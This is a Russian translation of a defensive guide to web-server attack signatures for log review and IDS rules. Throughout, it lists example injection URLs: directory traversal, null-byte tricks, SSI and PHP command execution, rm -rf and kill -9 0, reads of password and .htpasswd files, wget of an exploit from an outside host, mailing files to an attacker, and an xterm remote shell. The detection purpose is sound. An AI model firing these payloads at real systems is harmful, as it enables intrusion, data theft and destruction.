|
|
.::Обзор
сигнатур атак на веб-серверы и веб-приложения::.
I.
Введение
II. Общие Сигнатуры
III. Продвинутые Сигнатуры
IV. Переполнения
V. Шестнадцатиричное Кодирование
VI. Заключение
I. Введение:
Порт 80 - это стандартный порт для веб-сайтов, и он может иметь
множество
различных вопросов безопасности. Эти дыры могут позволить атакующему
получить
какой-либо административный доступ к веб-сайту, или даже к самому
веб-серверу. В
этом документе рассматриваются некоторые сигнатуры, используемые в этих
атаках,
и что нужно искать в ваших логах.
II. Общие Сигнатуры:
В этом разделе приводятся примеры общих сигнатур, используемых для
компрометирования как веб-приложений, так и веб-серверов. Этот раздел
представлен отнюдь не для того, чтобы показать вам все возможные
сигнатуры,
вместо этого вам будет предложено рассмотреть то, как выглядят
большинство
эксплоитов и атак. Сигнатуры выбраны из большинства известных и
неизвестных дыр,
которые атакующий может использовать против вас. В данном разделе также
описывается то, для чего используется каждая сигнатура, или как она
может
использоваться в атаке.
"." ".." и "..." Запросы
Это наиболее общие сигнатуры атаки при злоупотреблении как
веб-приложением, так
и веб-сервером. Имеют обыкновение позволять атакующему или червю
перемещаться по
директориям в пределах вашего веб-сервера для получения доступа к
разделам,
которые могут быть не представлены для публичного просмотра. Большинство
дыр CGI
будут содержать некоторые ".." запросы.
Ниже приведен пример.
* http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
Это покажет атакующему запрошенный им файл "Сообщение Дня" вашего
веб-сервера.
Если атакующий имеет возможность перемещаться по директориям за
пределами
корневой директории вашего веб-сервера, то он возможно, сможет собрать
достаточно информации для получения дальнейших привилегий.
"%20" Запросы
Это шестнадцатиричное значение символа пробела. При этом, обнаружение
этих
символов в ваших логах, отнюдь не означает, что ваша машина была
атакована.
Некоторые веб-приложения, запущенные вами, могут использовать эти
символы в
нормальных запросах, так что тщательнее проверяйте свои логи. С другой
стороны,
этот запрос редко используется для выполнения команд.
Ниже приведен пример.
* http://host/cgi-bin/lame.cgi?page=ls%20-al|
(Эта строка представляет собой выполнение команды ls -al на системе Unix)
Пример демонстрирует выполнение атакующим команды ls на Unix с
некоторыми
аргументами. Аргумент, приведенный выше, при запросе выдаст атакующему
полный
список файлов в директории. Это может позволить атакующему получить
доступ к
важным файлам вашей системы и может дать ему идею получения более
высоких
привилегий.
"%00" Запросы
Это шестнадцатиричное значение нулевого байта. Он может использоваться
для
одурачивания веб-сервера, думающего, что был запрошен другой тип файла.
Ниже приведен пример.
* http://host/cgi-bin/lame.cgi?page=index.html
Представленный пример может быть корректным запросом на этой машине.
Если
атакующий увидит подобное поведение, то он несомненно изучит это
приложение для
поиска дыры в нем.
* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
Веб-приложение может отвергнуть этот запрос, поскольку оно проверяет
чтобы в
конце имени файла стояло расширение .htm, .html, .shtml или еще
какое-нибудь.
Чаще всего приложение сообщает вам, что это неправильный тип файла для
этого
приложения. Часто оно говорит атакующему что файл должен заканчиваться
определенным расширением. Отсюда атакующий может собрать пути сервера,
имена
файлов и, возможно, собрать больше информации о вашем сервере.
* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
Эта хитрость в составлении запроса заставляет приложение думать, что
запрошенный
вами файл относится к категории разрешенных встроенных типов файлов.
Некоторые
веб-приложения производят недостаточную проверку на правильность
запрошенного
файла, благодаря чему этот метод очень часто используется атакующими.
"|" Запросы
Это символ канала, который часто используется в Unix для того, чтобы
выполнить
многочисленные команды в одно и то же время при помощи всего одного
запроса.
Пример: #cat access_log| grep -F "/../"
(Это показывает проверку логов на наличие запросов .. , которые часто
используются нападающими и червями). Часто этот символ используется
вашими же
веб-приложениями, что может вызвать ложные сигналы тревоги в логах вашей
IDS.
Тщательное исследование вашего программного обеспечения и его поведения
-
хорошая идея для сокращения числа ложных тревог.
Ниже несколько примеров.
* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
Этот запрос выполняет команду ls без аргументов. Ниже представлена
другая
вариация этого типа запроса.
* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
Этот запрос выводит полный список файлов в директории "etc" на системе
Unix.
* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
Этот запрос выполняет команду "cat", а затем команду "grep" с аргументом
-i.
";" Запросы
Этот символ позволяет указание на выполнение нескольких команд в одной
строке на
системе Unix. Пример: #id;uname -a (Это выполнит команду "id" после чего
будет
выполнена команда "uname"). Очень часто веб-приложения будут
использовать этот
символ и, возможно, будут давать ложные сигналы тревоги в логах вашей
IDS. Опять
же тщательное исследование вашего программного обеспечения и его
поведения -
хорошая идея для сокращения числа ложных тревог.
"<" и ">" Запросы
Наличие этих символов должно постоянно проверяться в логах по множеству
причин;
первая - эти символы используются для добавления данных в файл.
Пример 1: #echo "your hax0red h0 h0" >> /etc/motd
(Здесь показано выполнение запроса на запись информации в этот файл).
Атакующий
может просто использовать запрос, подобный этому, для дефейса вашаего
веб-сайта.
Знаменитый RDS эксплоит, написанный rain.forest.puppy часто
использовался
атакующими для помещения информации на главные страницы веб-сайтов.
Проверьте
attrition.org и поищите хакнутые веб-сайты со страницами, состоящими из
чистого
текста, без форматирования, например.
Пример 2: http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>
Этот запрос показывает пример перекрестной атаки сайта при помощи
средств
описания. Вы можете обратить внимание, что здесь использованы тэги html,
использующие символы "<" и ">". Хотя этот тип атаки и не предоставит
атакующему
доступа к системе, он может использоваться для одурачивания людей,
думающих, что
определенная информация на веб-сайте верна. (Конечно, они должны будут
пройти по
ссылке, выбранной атакующим. Запрос может быть замаскирован путем
кодирования
символов в шестнадцатиричные значения, так чтобы это не было так
очевидно).
"!" Запросы
Этот символ часто используется в SSI (Включения Сервера) атаках. Эти
атаки могут
позволить атакующему получить схожие результаты с перекрестной атакой
сайта при
помощи средств описания, если атакующий одурачит пользователя,
щелкнувшего по
ссылке.
Ниже приведен пример..
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
Это пример того, что может сделать атакующий. По большому счету это
включение
файла из host2, делающее возможным вставку его в host1. (Конечно, они
должны
будут пройти по ссылке, выбранной атакующим. Запрос может быть
замаскирован
путем кодирования символов в шестнадцатиричные значения, так чтобы это
не было
так очевидно).
Это также может позволить ему выполнить команды в вашей системе с
привилегиями
пользователя, под которым запущен ваш веб-сервер.
Ниже приведен пример.
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
Это пример выполнения команды "id" на удаленной системе. Это покажет
идентификатор пользователя, запустившего веб-сервер, который обычно
равен
"nobody" или "www".
Это также может позволить включение скрытых файлов.
Ниже приведен пример..
http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
Это включение файла .htpasswd. Этот файл обычно не открыт на чтение для
всех, а
apache даже имеет встроенное правило, отвергающее запросы .ht. Тэг SSI
позволяет
обойти это, что может привести к серьезным нарушениям системы
безопасности.
"<?" Запросы
Это часто включается при попытке вставки php в удаленное веб-приложение.
В
зависимости от установок сервера и других факторов, возможно выполнение
команд.
Ниже приведен пример..
http://host/something.php=<? passthru("id");?>
В слабо написанном приложении php возможно выполнение этой команды
локально на
удаленном хосте с привилегиями пользователя, запустившего веб-сервер.
В добавок ко всему, атакующий может закодировать этот запрос в
шестнадцатиричные
значения. Произведите проверку на наличие чего-либо необычного и
исследуйте все,
что выглядит подозрительно.
"`" Запросы
Символ обратной метки часто используется в perl для выполнения команд.
Этот
символ обычно не используется в каком-либо правильном веб-приложении,
так что
если вы обнаруживаете его использование в своих логах, то, возможно,
дело
серьезно.
Ниже приведен пример.
http://host/something.cgi=`id`
В слабо написанном веб-приложении на perl это должно выполнить команду
"id".
III. Продвинутые Сигнатуры:
Этот раздел по большей части фокусируется на командах, выполняемых
атакующим,
вместе с файлами, которые могут быть запрошены, и как обнаружить, что вы
уязвимы
к удаленному выполнению команд. Хотя это и не полный список команд или
файлов,
которые может запросить атакующий, вы получите хорошее представление
того, что
может случиться, или что может быть предпринято против вашей системы.
* Общие команды, которые могут быть выполнены атакующим или червем.
"/bin/ls"
Это - бинария команды ls. Очень часто запрашивается в полных путях для
множества
общих дыр веб-приложений. Если вы встречаете этот запрос где-либо в
своих логах,
то это дает неплохие шансы того, что ваша система может быть подвержена
ошибкам,
позволяющим удаленное выполнение команд. Это не всегда означает проблему
и может
быть просто ложной тревогой.
Исследование вашего веб-приложения может дать вам ответы на ваши
вопросы. Если
возможно, протестируйте запрос, обнаруженный в логах, и проверьте вывод
на
возможное выполнение.
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
Пример: http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"
Это командный интерпретатор windows. Если атакующий получит доступ на
запуск
этого скрипта, то он может сделать очень многое на windows машине, в
зависимости
от прав доступа на сервере. Большинство интернет червей связываются с
портом 80,
используя cmd.exe для продвижения инфицирования самими собой других
удаленных
систем.
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\
"/bin/id"
Это - бинария команды id. Очень часто запрашивается в полных путях для
множества
общих дыр веб-приложений. Если вы встречаете этот запрос где-либо в
своих логах,
то это дает неплохие шансы того, что ваша система может быть подвержена
ошибкам,
позволяющим удаленное выполнение команд. Это не всегда означает проблему
и может
быть просто ложной тревогой.
Исследование вашего веб-приложения может дать вам ответы на ваши
вопросы. Если
возможно, протестируйте запрос, обнаруженный в логах, и проверьте вывод
на
возможное выполнение.
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
Пример: http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"
Это - бинария команды rm. Очень часто запрашивается в полных путях для
множества
общих дыр веб-приложений. Если вы встречаете этот запрос где-либо в
своих логах,
то это дает неплохие шансы того, что ваша система может быть подвержена
ошибкам,
позволяющим удаленное выполнение команд. Это не всегда означает проблему
и может
быть просто ложной тревогой. Эта команда, с другой стороны, позволяет
удаление
файлов и является очень опасной при неправильном использовании, или при
использовании атакующим. Если возможно, протестируйте запрос,
обнаруженный в
логах, и проверьте вывод на возможное выполнение. Если запрошен важный
файл, то
вам не стоит тестировать команду на нем. Если это удаление файла с
именем
stupid.txt, а его не обнаруживается в пределах веб-сайта, с которого он
был
запрошен, создайте файл и протестируйте его.
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
Пример: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
Команды "wget и tftp"
Эти команды часто используются атакующими и червями для скачивания
дополнительных файлов, которые могут использоваться для получения
дальнейших
привилегий в системе. wget - это команда Unix, которая может
использоваться для
скачивания бэкдора. tftp - это команда Unix и NT, которая используется
для
скачивания файлов. Некоторые IIS черви используют эту tftp команду для
копирования самих себя на подверженный ошибке хост для продолжения
распространения.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
Пример:
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
Команда "cat"
Эта команда часто используется для просмотра содержимого файлов. Она
может быть
использована для чтения важной информации, такой как конфигурационные
файлы,
файлы паролей, файлы кредитных карт, и всего того, что еще можно
прочитать.
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
Пример: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
Команда "echo"
Эта команда часто используется для добавления данных к файлам, таким
как,
например, index.html.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
Пример:
http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
Команда "ps"
Эта команда показывает список запущенных процессов. Она может сказать
атакующему, запущено ли на удаленном хосте какое-либо программное
обеспечение,
связанное с безопасностью, а также даст ему некоторое представление о
других
дырах в безопасности, которые может иметь этот хост.
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
Пример: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
Команды "kill и killall"
Эти команды используются для останова процессов на системе Unix.
Атакующий может
воспользоваться ими для останова системного сервиса или программы.
Атакующий
также может использовать эту команду для заметания своих следов, если
эксплоит,
используемый им, порождает множество дочерних процессов или работает
ненормально.
Пример: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
Пример: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
Команда "uname"
Эта команда часто используется нападающим для того, чтобы узнать имя
хоста
удаленной системы. Часто веб-сайт хостится у провайдера и эта команда
может дать
представление о том, к какому провайдеру он может иметь доступ. Обычно
запрашивается uname -a и она может появиться в логах как "uname%20-a".
Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
Пример: http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python, етс..." Команды Компиляторов/Интерпретаторов
Команды "cc" и "gcc" позволяют компилировать программы. Атакующий может
использовать wget или tftp для скачивания файлов, а затем использовать
эти
компиляторы для компиляции эксплоита. На данном этапе возможно многое,
включая
локальное использование уязвимостей системы.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
Пример:
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
Если вы видите в логах запрос интерпретаторов "perl" или "python", то
вполне
возможно, что атакующий скачал удаленный perl или python скрипт и
пытается
воспользоваться локальными уязвимостями вашей системы.
Команда "mail"
Эта команда может использоваться атакующим для отправки по почте файлов
на
почтовый адрес атакующего. Это может также использоваться для рассылки
спама, и
спаммера, использующего этот способ будет очень непросто обнаружить.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
Пример:
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;
Команды "xterm/Другие X приложения"
Xterm часто используется с целью получения доступа к оболочке удаленной
системы.
Если вы видите это в своих логах, то должны отнестись очень серьезно к
этому,
так как вполне возможно нарушение в системе безопасности. Просмотрите
логи на
наличие в них запроса, содержащего такую строку: "%20-display%20". Эта
сигнатура
часто используется для запуска xterm или любого другого X приложения на
удаленном хосте.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
Пример: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
Команды "chown, chmod, chgrp, chsh, етс..."
Эти команды позволяют изменять права доступа в системе Unix. Ниже
описание
назначения каждой из них.
chown = позволяет установить владельца файла.
chmod = позволяет устанавливать права доступа.
chgrp = позволяет изменять группу-владельца.
chsh = позволяет пользователю изменить оболочку, используемую им.
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
Пример: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
Пример: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
* Общие файлы, запрашиваемые атакующим.
Файл "/etc/passwd"
Файл паролей системы. Обычно он затенен и не предоставляет зашифрованных
паролей
атакующему. С другой стороны, он дает атакующему представление о
существующих
именах пользователей, системных путях и, возможно, хостящихся сайтах.
Если этот
файл затенен, что бывает в большинстве случаев, то атакующий попытается
просмотреть файл /etc/shadow.
"/etc/master.passwd"
Файл паролей BSD системы, содержащий зашифрованные пароли. Этот файл
может быть
прочитан только пользователем с акаунтом root, но неопытный нападающий
может
проверить этот файл в надежде его прочитать. Если веб-сервер запущен под
пользователем "root", то атакующий сможет прочитать этот файл и у
системного
администратора прибавится проблем.
"/etc/shadow"
Системный файл паролей, содержащий зашифрованные пароли. Этот файл может
быть
прочитан только пользователем с акаунтом root, но неопытный нападающий
может
проверить этот файл в надежде его прочитать. Если веб-сервер запущен под
пользователем "root", то атакующий сможет прочитать этот файл и у
системного
администратора прибавится проблем.
"/etc/motd"
Системный файл "Сообщение Дня", содержащий первое сообщение, которое
видят
пользователи при регистрации в системе Unix. Он может предоставить
важную
информацию, которую, по мнению администратора, должны видеть
пользователи,
вместе с версией операционной системы.
Атакующие будут часто проверять этот файл для того, чтобы узнать
название и
версию работающей операционной системы. На данном этапе они займутся
исследовать
ОС и сбором эксплоитов, которые могут использоваться для получения более
высоких
прав доступа к системе.
"/etc/hosts"
Этот файл предоставляет информацию об адресах ip и сетевую информацию.
Атакующий
может использовать эту информацию для углубления своих познаний о вашей
системе/настройках сети.
"/usr/local/apache/conf/httpd.conf"
Путь к этому файлу варьируется на разных системах, но это наиболее общий
путь.
Это конфигурационный файл веб-сервера Apache. Он дает атакующему
представление о
том, какие веб-сайты хостятся на сервере, а также любую другую
специальную
информацию подобно разрешению CGI или SSI доступа.
"/etc/inetd.conf"
Это конфигурационный файл сервиса inetd. В этом файле перечислены
системные
Демоны, использующиеся для удаленного доступа к системе. Он также может
показать
использует ли удаленная система раппер (wrapper) для каждого демона.
Если раппер
обнаружен при использовании, атакующий следующим шагом проверит
"/etc/hosts.allow" и "/etc/hosts.deny", и возможно модифицирует эти
файлы для
получения им более высоких привилегий.
".htpasswd, .htaccess, and .htgroup"
Эти файлы используются для парольной аутентификации на веб-сайте.
Атакующий
попытается просмотреть содержимое этих файлов для получения как имен
пользователей, так и паролей. Пароли расположены в файле htpasswd и
зашифрованы.
Простой взломщик паролей и немного временипредоставят атакующему доступ
к
определенным разделам вашего веб-сайта, защищенным паролями, и,
возможно, другой
акаунт. (Многие люди используют одни и те же имена пользователей и
пароли для
всего, и очень часто случается что это может дать атакующему доступ к
другим
акаунтам, которые имеет этот пользователь.)
"access_log and error_log"
Это лог-файлы веб-сервера apache. Атакующий будет часто проверять логи
для того,
чтобы увидеть, какие его запросы были зарегистрированы, а также все
остальные.
Часто атакующий редактирует логи и удаляет любые упоминания в них его
имени
хоста. Определение вторжения атакующего в вашу систему через порт 80
становится
весьма затруднительным, если только эти файлы не копируются или если
логи не
ведутся в два разных места.
"[буква_диска]:\winnt\repair\sam._ или [буква_диска]:winnt\repair\sam"
Это имя файла паролей Windows NT. Атакующие будут часто запрашивать этот
файл
если удаленное выполнение команд невозможно. На данном этапе обычно
запускается
программа подобно "l0pht crack" для взлома пароля удаленной windows
машины. Если
атакующему удается взломать пароль администратора, то удаленная машина
теперь
полностью в его распоряжении.
IV. Переполнения:
Я не собираюсь особо углубляться в переполнения буфера в этом документе,
но я
покажу примеры некоторых типов поведения. Переполнения буфера могут
часто
затемняться путем кодирования и при использовании других трюков.
Ниже приведен простой пример.
Пример:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Здесь видно как атакующий подает множество букв A на ваше приложение для
проверки его на наличие возможности переполнения буфера. Переполнение
буфера
может предоставить атакующему удаленное выполнение команд. Если это suid
приложение и если его владелец - root, то это может дать атакующему
полный
доступ к системе. В противном случае у него появляется возможность
выполнять
команды с правами пользователя, запустившего веб-сервер.
Вариации переполнений буфера выглядят примерно так, но в этом документе
я не
планирую покрывать каждый возможный пример. Отличной идеей будет
регулярная
проверка ваших логов. Если вы видите огромные запросы, а ваш сайт обычно
получает небольшие запросы, это может быть попытка проверки атакующим
ваших
приложений на наличие возможности переполнения буфера, или, возможно,
новый
вариант червя, поражающего вашу машину.
V. Шестнадцатиричное Кодирование:
Со всеми пояснениями, сделанными выше на тему отпечатков, атакующие
знают, что
системы IDS часто проверяют такие запросы буквальным споспособом.
Зачастую
атакующий кодирует его запрос в шестнадцатиричную систему, так чтобы
система IDS
проигнорировала его запрос. Сканер CGI известный как Whisker лучший
пример
такому. Если вы, просматривая свои логи, замечаете огромной количество
шестнадцатиричных или необычных символов, то это может означать, что
атакующий
пытается скомпрометировать вашу систему некоторым способом. Быстрым
путем
проверки того, для чего предназначены эти шестнадцатиричные значения,
будет
копирование их из ваших логов, и последующая вставка в адресной строке
браузера
при посещении вашего сайта. Если не появляется обычных 404 страниц, то
шестнадцатиричное значение будет переведено и вы сможете точно увидеть
что это
за запрос, вместе с его выводом. Если вы не хотите рисковать, то простая
команда
man ascii предоставит вам примеры соответствующих кодирований.
VI. Заключение:
В этом документе не покрываются все возможные эксплоиты порта 80, но в
нем
рассматриваются наиболее общие типы атак. Здесь также сообщается то, что
вам
необходимо проверять в ваших логах, и дается идея того, что нужно
добавить к
правилам вашей IDS. Он написан с целью помочь администратору веб-сервера
получить представление по этому вопросу. Я также надеюсь, что этот
документ
поможет веб-разработчикам лучше писать веб-приложения. Я записал этот
документ
примерно за час в Воскресенье, так что если у вас есть какие-либо
комментарии
или предложения пишите мне на admin@cgisecurity.com.
|